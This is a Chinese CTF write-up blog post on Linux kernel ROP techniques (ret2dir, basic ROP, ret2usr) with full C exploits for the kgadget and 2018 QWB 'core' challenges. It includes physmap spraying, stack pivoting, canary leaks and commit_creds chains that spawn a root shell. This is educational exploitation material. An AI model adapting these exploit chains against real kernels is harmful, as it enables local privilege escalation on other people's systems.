【表哥有话说 第89期】KernelROP

admin 2023年5月29日13:44:56评论25 views字数 14812阅读49分22秒阅读模式

KernelROP

01

KernelROP

ret2dir

在Linux内核内存布局中,有一段direct mapping area,映射了整个物理内存空间,

也就是说,对于一个被用户进程使用的物理页框,同时存在着一个用户空间地址A与内核空间地址A‘到该物理页框的映射,即我们访问A和A’实际是访问的同一个物理页框。内核可以通过direct mapping area来对用户空间进行访问,从而绕过SMAP/SMEP,PXN等保护


ret2dir通常利用手法:

旧版本下,我们在用户空间中布置的gagdet可以通过direct mapping area上的地址在内核空间中访问

新版本的内核,direct mapping area已经不具备可执行权限,我们已经无法通过布置shellcode的方式来利用

但是我们依旧可以在在用户态布置ROP链子的方式利用

常规ret2dir的攻击手法:

• 利用mmap在用户空间喷射大量内存

• 利用漏洞泄露内核的堆地址(kamlloc返回的地址),这个地址直接位于direct mapping area

• 利用泄露的地址在direct mapping area 进行内存搜索,找到我们在用户空间喷射的内存,这样我们就获得了一个映射到用户空间的内核空间地址,内核可以通过这个地址直接访问用户数据,从而绕过传统的隔绝手段

实际上,我们很少能有进行内存搜索的机会,通常在利用过程中,我们在mmap喷射大量内存的同时需要写入大量相同的payload,之后随机挑选一个位于direct mapping area 的地址进行“命中”

例题 MINI-LCTF2022-kgagdet

考点:mmap堆喷射,内核栈迁移,ret2dir

复现环境:ubuntu20.04      qemu7.2

题目开启了SMAP和SMEP保护,ret2usr失效

 1__int64 __fastcall kgadget_ioctl(file *__file, unsigned int cmd, unsigned __int64 param)
2
{
3  void (__fastcall **v3)(void *, _QWORD); // rdx
4  void (__fastcall *v4)(void *, _QWORD); // rbx
5  void (__fastcall *v5)(void *, _QWORD); // rsi
6
7  _fentry__(__file, *(_QWORD *)&cmd);
8  if ( cmd == 0x1BF52 )
9  {
10    v4 = *v3;
11    v5 = *v3;
12    printk(&unk_370);
13    printk(&unk_3A0);
14    qmemcpy(
15      (void *)(((unsigned __int64)&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 168),
16      "arttnba3arttnba3arttnba3arttnba3arttnba3arttnba3",
17      48);
18    *(_QWORD *)(((unsigned __int64)&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 112) = '3abnttra';
19    printk(&unk_3F8);
20    v4(&unk_3F8, v5);                           // mov rbx,[rdx]
21                                                // call rbx
22    return 0LL;
23  }
24  else
25  {
26    printk(&unk_420);
27    return -1LL;
28  }
29}


题目漏洞很明显,对传入rdx进行解引用,对解引用得到的数据当作函数指针执行。
简单说就是执行下面的指令
call [rdx]
因此,我们有一个任意地址执行可以使用
考虑进行ret2dir
首先使用mmap喷射大量的内存,因为我们没有办法搜索内核的内存,因此我们可以考虑在我们喷射的内存中布置大量的“滑梯指令”,只要成功命中一条“滑梯”指令,即可成功提权
 1physmap_arry[0]=mmap(NULL,page_size,PROT_READ|PROT_WRITE,MAP_PRIVATE| MAP_ANONYMOUS,-1,0);
2build_rop(physmap_arry[0]);    
3for(int i=1;i<15000;i++)
4{
5     physmap_arry[i]=mmap(NULL,page_size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
6     if(physmap_arry[i]==NULL)
7     {
8         puts("[*] mmap error!");
9         exit(1);
10     }
11     memcpy(physmap_arry[i],physmap_arry[0],page_size);
12}


为了提高命中率,采用以下指令来命中我们布置在后面的ret
1add rsp,0xa0;
2pop rbx;
3pop r12;
4pop r13;
5pop rbp;
6ret;


这部分代码的作用有个方面:
1.命中布置在后面的ret
2.控制RSP指向我们要进行栈迁移的gadget
 1void build_rop(size_t *rop)
2
{
3    int i=0;
4    for(;i<(page_size/8-0x30);i++)
5    {
6        rop[i]=add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;
7    }
8    for(;i<(page_size/8-0x10);i++)
9    {
10        rop[i]=ret;
11    }
12    rop[i++]=pop_rdi_ret;
13    rop[i++]=init_cred;
14    rop[i++]=commit_creds;
15    rop[i++]=swapgs_restore_regs_and_return_to_usermode;
16    rop[i++]=0xdeadbeefdeadbeef;
17    rop[i++]=0xdeadbeefdeadbeef;
18    rop[i++]=(size_t)get_root_shell;
19    rop[i++]=user_cs;
20    rop[i++]=user_rflags;
21    rop[i++]=user_sp;
22    rop[i++]=user_ss;
23
24}


在堆喷射和ROP布置完成之后,我们下一步要考虑如何进行栈迁移,这里我们选择劫持结构体pt_regs
pt_regs 一个结构体,作用是发生发生系统调用前保存各寄存器的值,系统调用结束后,通过pt_reg 来恢复寄存器的值
这个结构体固定位于内核栈底
这道题在进入ioctl 函数的时候清空了大部分寄存器,只留下了r8 r9 寄存器,不过足够用了
r9布置pop rsp;ret
r8布置我们想要的地址
我们按照以下指令布置寄存器的值
 1        mov r15,   0xbeefdead;
2        mov r14,   0x11111111;
3        mov r13,   0x22222222;
4        mov r12,   0x33333333;
5        mov rbp,   0x44444444;
6        mov rbx,   0x55555555;
7        mov r11,   0x66666666;
8        mov r10,   0x77777777;
9        mov r9,    pop_rsp_ret;
10        mov r8,    try_hit;
11        mov rax,   0x10;
12        mov rcx,   0xaaaaaaaa;


try_hit是我们随机挑选的一个地址,位于direct mapping area
前面提到过,我们在ROP链子前方布置了一系列的“滑梯指令”,他的作用有两个
除了命中布置的ret之外,还负责控制RSP指向我们要进行栈迁移的gadget,这里便是体现了第二条作用。add rsp,0xa0 会劫持RSP指向pt_regs结构体中,配合后续指令即可控制程序流执行r9中的指令从而劫持RSP的值为r8存储的地址
完整exp:
  1#define _GNU_SOURCE
2#include<unistd.h>
3#include <fcntl.h>
4#include <stdio.h>
5#include <stdlib.h>
6#include <string.h>
7#include <sys/mman.h>
8#include<sys/types.h>
9
10size_t pop_rdi_ret=0xffffffff8108c6f0;
11size_t  pop_rsp_ret = 0xffffffff811483d0;
12size_t ret = 0xffffffff8108c6f1;
13size_t  add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff810737fe;
14size_t  swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 27;
15
16size_t commit_creds=0xffffffff810c92e0;
17
18size_t init_cred=0xffffffff82a6b700;
19
20size_t kernel_base=0xffffffff81000000;
21
22size_t *physmap_arry[16000];
23size_t page_size;
24
25size_t try_hit;
26
27int dev_fd;
28
29size_t user_cs,user_ss,user_rflags,user_sp;
30void save_status(void)
31
{
32    __asm__(
33        "mov user_cs,cs;"
34        "mov user_ss,ss;"
35        "mov user_sp,rsp;"
36        "pushf;"
37        "pop user_rflags;"
38    );
39    printf("33[34m33[1m[*] Status has been saved.33[0mn");
40}
41void get_root_shell(void)
42
{
43    puts("[*] try to get the root shell...");
44    if(getuid()!=0)
45    {
46        printf("33[34m33[1m[*] Failed to get the root shell.33[0mn");
47        exit(1);
48    }
49    printf("33[34m33[1m[*] Success to get the root shell.33[0mn");
50    system("/bin/sh");
51    exit(0);
52}
53void build_rop(size_t *rop)
54
{
55    int i=0;
56    for(;i<(page_size/8-0x30);i++)
57    {
58        rop[i]=add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;
59    }
60    for(;i<(page_size/8-0x10);i++)
61    {
62        rop[i]=ret;
63    }
64    rop[i++]=pop_rdi_ret;
65    rop[i++]=init_cred;
66    rop[i++]=commit_creds;
67    rop[i++]=swapgs_restore_regs_and_return_to_usermode;
68    rop[i++]=0xdeadbeefdeadbeef;
69    rop[i++]=0xdeadbeefdeadbeef;
70    rop[i++]=(size_t)get_root_shell;
71    rop[i++]=user_cs;
72    rop[i++]=user_rflags;
73    rop[i++]=user_sp;
74    rop[i++]=user_ss;
75
76}
77int main()
78
{
79    save_status();
80    dev_fd=open("/dev/kgadget",O_RDWR);
81    if(dev_fd<0)
82    {
83        printf("33[34m33[1m[*] Failed to open the dev");
84        exit(1);
85    }
86    page_size=sysconf(_SC_PAGESIZE);
87
88    physmap_arry[0]=mmap(NULL,page_size,PROT_READ|PROT_WRITE,MAP_PRIVATE| MAP_ANONYMOUS,-1,0);
89    build_rop(physmap_arry[0]);
90    puts("[*] Spraying physmap...");
91    for(int i=1;i<15000;i++)
92    {
93        physmap_arry[i]=mmap(NULL,page_size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
94        if(physmap_arry[i]==NULL)
95        {
96            puts("[*] mmap error!");
97            exit(1);
98        }
99        memcpy(physmap_arry[i],physmap_arry[0],page_size);
100    }
101    puts("[*] build rop completed.");
102    sleep(5);
103    try_hit=0xffff888000000000 + 0x7000000;
104    __asm__(
105        "mov r15,   0xbeefdead;"
106        "mov r14,   0x11111111;"
107        "mov r13,   0x22222222;"
108        "mov r12,   0x33333333;"
109        "mov rbp,   0x44444444;"
110        "mov rbx,   0x55555555;"
111        "mov r11,   0x66666666;"
112        "mov r10,   0x77777777;"
113        "mov r9,    pop_rsp_ret;"
114        "mov r8,    try_hit;"
115        "mov rax,   0x10;"
116        "mov rcx,   0xaaaaaaaa;"
117    );
118    ioctl(dev_fd,0x1bf52,try_hit);
119}

02

KernelROP

basicROP

Last edited time: May 13, 2023 1:00 PM Owner: Anonymous


2018-强网杯-core

内核入门题
注意寻找gadget和基地址要用cpio解压出来的vmlinux,不能用题目带的vmlinux
不知道为什么,本题在ubuntu22.04 qemu 7.0的版本条件下 无法拿到root shell 但是能用
open read write写出flag
题目复现环境:ubuntu 20.04     qemu 6.2
题目注意要点:
ASLR的计算
call指令的本质:push rip;jmp addr
本题没有mov rdi,rax;ret这种gagdet
只能找到mov rdi,rax;call rdx这种
因此要考虑用如何控制程序流程
可以在执行这条指令之前执行一条  pop rdi
往rdi中传入一条含有pop;ret指令的地址
这样就可以利用call rdx返回了,必须要有pop指令
因此push rip会把call rdx的下一条指令压入栈,这样会导致以下栈布局
1sp:rip
2sp+8:我们想要执行的gagdet地址
3sp+0x10:gadget

因此必须要有一条pop指令清空rip,才能ret到我们想要的gagdet

此外,有个size检测,具体看exp和ida即可

exp:

1#include<stdio.h>
2#include<stdlib.h>
3#include<string.h>
4#include<unistd.h>
5#include<fcntl.h>
6#include<sys/types.h>
7
8#define POP_RDI_RET 0xffffffff81000b2f
9#define POP_RDX_RET 0xffffffff810a0f49
10#define POP_RCX_RET 0xffffffff81021e53
11#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
12
13#define SWAPGS_POPFQ_RET 0xffffffff81a012da
14#define IRETQ 0xffffffff81050ac2
15
16#define no_aslr_kernel_base 0xffffffff81000000
17
18size_t commit_creds=NULL;
19size_t prepare_kernel_cred=NULL;
20
21size_t user_cs,user_ss,user_rflags,user_sp=NULL;
22
23size_t aslr_kernel_base=NULL;
24
25void print(char *str)
26
{
27    char *format="33[34m33[1m[*] %s33[0mn";
28    printf(format,str);
29}
30
31void saveStatus()
32
{
33    __asm__(
34        "mov user_cs, cs;"
35        "mov user_ss, ss;"
36        "mov user_sp, rsp;"
37        "pushf;"
38        "pop user_rflags;"
39    );
40}
41void get_root()
42
{
43    if(getuid())
44    {
45        print("Failed to get the root!");
46        exit(-1);
47    }
48    print("Success to get the root shell!");
49    system("/bin/sh");
50}
51void core_read(int fd,char *buf)
52
{
53    ioctl(fd,0x6677889B,buf);
54}
55void core_setoff(int fd,size_t off)
56
{
57    ioctl(fd,0x6677889C,off);
58}
59void core_copy_func(int fd,size_t nbytes)
60
{
61    ioctl(fd,0x6677889A,nbytes);
62}
63int main()
64
{
65    print("Start to expliot...");
66    saveStatus();
67    print("Opening /proc/core...");
68
69    int fd=open("/proc/core",2);
70    if(fd<0)
71    {
72        print("Can not open the /proc/core...");
73        exit(-1);
74    }
75
76    print("Opening /tmp/kallsyms...");
77
78    FILE* sym_table=fopen("/tmp/kallsyms","r");
79    if(sym_table==NULL)
80    {
81        print("Can not open the /temp/kallsyms...");
82        exit(-1);
83    }
84    char buf[0x50],type[0x10];
85    size_t addr=NULL;
86    while(fscanf(sym_table,"%llx%s%s",&addr,type,buf))
87    {
88        if(commit_creds!=NULL && prepare_kernel_cred!=NULL)
89        {
90            break;
91        }
92        if(strcmp(buf,"commit_creds")==0)
93        {
94            commit_creds=addr;
95            print("Success to get the address of commit_creds:");
96            printf("%pn",commit_creds);
97            continue;
98        }
99        if(strcmp(buf,"prepare_kernel_cred")==0)
100        {
101            prepare_kernel_cred=addr;
102            print("Success to get the address of prepare_kernel_cred:");
103            printf("%pn",prepare_kernel_cred);
104            continue;
105        }
106    }
107    aslr_kernel_base=commit_creds-0x9c8e0;
108    print("Success to get the address of kernel base:");
109    printf("%pn",aslr_kernel_base);
110    size_t offset=aslr_kernel_base-no_aslr_kernel_base;
111    print("Success to get the aslr value:");
112    printf("%pn",offset);
113
114    size_t canary=NULL;
115    core_setoff(fd,0X40);
116    core_read(fd,buf);
117    canary=((size_t *)buf)[0];
118    print("Success to get the canary:");
119    printf("%pn",canary);
120    int i=0;
121    size_t rop[0x100];
122    for(; i < 10;i++)
123        rop[i] = canary;
124    //prepare_kernel_cred(NULL);
125    rop[i++]=POP_RDI_RET+offset;
126    rop[i++]=0;
127    rop[i++]=prepare_kernel_cred;
128    //commit_creds(prepare(NULL));
129    rop[i++]=POP_RDX_RET+offset;
130    rop[i++]=POP_RCX_RET+offset;//清理call指令压入的垃圾指令
131    rop[i++]=MOV_RDI_RAX_CALL_RDX+offset;
132    rop[i++]=commit_creds;
133    //back to user
134    rop[i++]=SWAPGS_POPFQ_RET+offset;
135    rop[i++]=0;
136    rop[i++]=IRETQ+offset;
137    rop[i++]=(size_t)get_root;
138    rop[i++]=user_cs;
139    rop[i++]=user_rflags;
140    rop[i++]=user_sp;
141    rop[i++]=user_ss;
142    write(fd,rop,0x800);
143    core_copy_func(fd,0xffffffffffff0000|(0x100));//结合IDA查看绕过
144}


03

KernelROP

ret2usr

Last edited time: May 6, 2023 4:56 PM Owner: Anonymous


未开启SMAP/SMEP保护时,内核态可以访问用户态的空间

exp中用户态调用commit_creds(prepare_kernel_cred(NULL)) 函数

在内核态布置ROP链子跳转到用户态的函数

在内核态下调用用户态中的函数提权

然后再回到用户态起root shell


强网杯2018-core ret2usr的打法

  1#include<stdio.h>
2#include<stdlib.h>
3#include<string.h>
4#include<unistd.h>
5#include<fcntl.h>
6#include<sys/types.h>
7
8#define POP_RDI_RET 0xffffffff81000b2f
9#define POP_RDX_RET 0xffffffff810a0f49
10#define POP_RCX_RET 0xffffffff81021e53
11#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
12
13#define SWAPGS_POPFQ_RET 0xffffffff81a012da
14#define IRETQ 0xffffffff81050ac2
15
16#define no_aslr_kernel_base 0xffffffff81000000
17
18size_t commit_creds=NULL;
19size_t prepare_kernel_cred=NULL;
20
21size_t user_cs,user_ss,user_rflags,user_sp=NULL;
22
23size_t aslr_kernel_base=NULL;
24
25void print(char *str)
26
{
27    char *format="33[34m33[1m[*] %s33[0mn";
28    printf(format,str);
29}
30
31void saveStatus()
32
{
33    __asm__(
34        "mov user_cs, cs;"
35        "mov user_ss, ss;"
36        "mov user_sp, rsp;"
37        "pushf;"
38        "pop user_rflags;"
39    );
40}
41void get_root()
42
{
43    if(getuid())
44    {
45        print("Failed to get the root!");
46        exit(-1);
47    }
48    print("Success to get the root shell!");
49    system("/bin/sh");
50}
51void ret2usr()
52
{
53    void * (*prepare_kernel_cred_ptr)(void *)=prepare_kernel_cred;
54    int (*commit_creds_ptr)(void *)=commit_creds;
55    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
56}
57void core_read(int fd,char *buf)
58
{
59    ioctl(fd,0x6677889B,buf);
60}
61void core_setoff(int fd,size_t off)
62
{
63    ioctl(fd,0x6677889C,off);
64}
65void core_copy_func(int fd,size_t nbytes)
66
{
67    ioctl(fd,0x6677889A,nbytes);
68}
69int main()
70
{
71    print("Start to expliot...");
72    saveStatus();
73    print("Opening /proc/core...");
74
75    int fd=open("/proc/core",2);
76    if(fd<0)
77    {
78        print("Can not open the /proc/core...");
79        exit(-1);
80    }
81
82    print("Opening /tmp/kallsyms...");
83
84    FILE* sym_table=fopen("/tmp/kallsyms","r");
85    if(sym_table==NULL)
86    {
87        print("Can not open the /temp/kallsyms...");
88        exit(-1);
89    }
90    char buf[0x50],type[0x10];
91    size_t addr=NULL;
92    while(fscanf(sym_table,"%llx%s%s",&addr,type,buf))
93    {
94        if(commit_creds!=NULL && prepare_kernel_cred!=NULL)
95        {
96            break;
97        }
98        if(strcmp(buf,"commit_creds")==0)
99        {
100            commit_creds=addr;
101            print("Success to get the address of commit_creds:");
102            printf("%pn",commit_creds);
103            continue;
104        }
105        if(strcmp(buf,"prepare_kernel_cred")==0)
106        {
107            prepare_kernel_cred=addr;
108            print("Success to get the address of prepare_kernel_cred:");
109            printf("%pn",prepare_kernel_cred);
110            continue;
111        }
112    }
113    aslr_kernel_base=commit_creds-0x9c8e0;
114    print("Success to get the address of kernel base:");
115    printf("%pn",aslr_kernel_base);
116    size_t offset=aslr_kernel_base-no_aslr_kernel_base;
117    print("Success to get the aslr value:");
118    printf("%pn",offset);
119
120    size_t canary=NULL;
121    core_setoff(fd,0X40);
122    core_read(fd,buf);
123    canary=((size_t *)buf)[0];
124    print("Success to get the canary:");
125    printf("%pn",canary);
126    int i=0;
127    size_t rop[0x100];
128    for(; i < 10;i++)
129        rop[i] = canary;
130    rop[i++]=(size_t)ret2usr;//在内核态下跳转到用户态函数执行提权函数
131    rop[i++]=SWAPGS_POPFQ_RET+offset;
132    rop[i++]=0;
133    rop[i++]=IRETQ+offset;
134    rop[i++]=(size_t)get_root;
135    rop[i++]=user_cs;
136    rop[i++]=user_rflags;
137    rop[i++]=user_sp;
138    rop[i++]=user_ss;
139    write(fd,rop,0x800);
140    core_copy_func(fd,0xffffffffffff0000|(0x100));
141}


这次的分享到这里就结束了

我们下期再见啦!!【表哥有话说 第89期】KernelROP

想学习更多知识

长按下方的二维码关注我们哦

【表哥有话说 第89期】KernelROP



原文始发于微信公众号(SKSEC):【表哥有话说 第89期】KernelROP

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月29日13:44:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【表哥有话说 第89期】KernelROPhttps://cn-sec.com/archives/1767275.html

发表评论

匿名网友 填写信息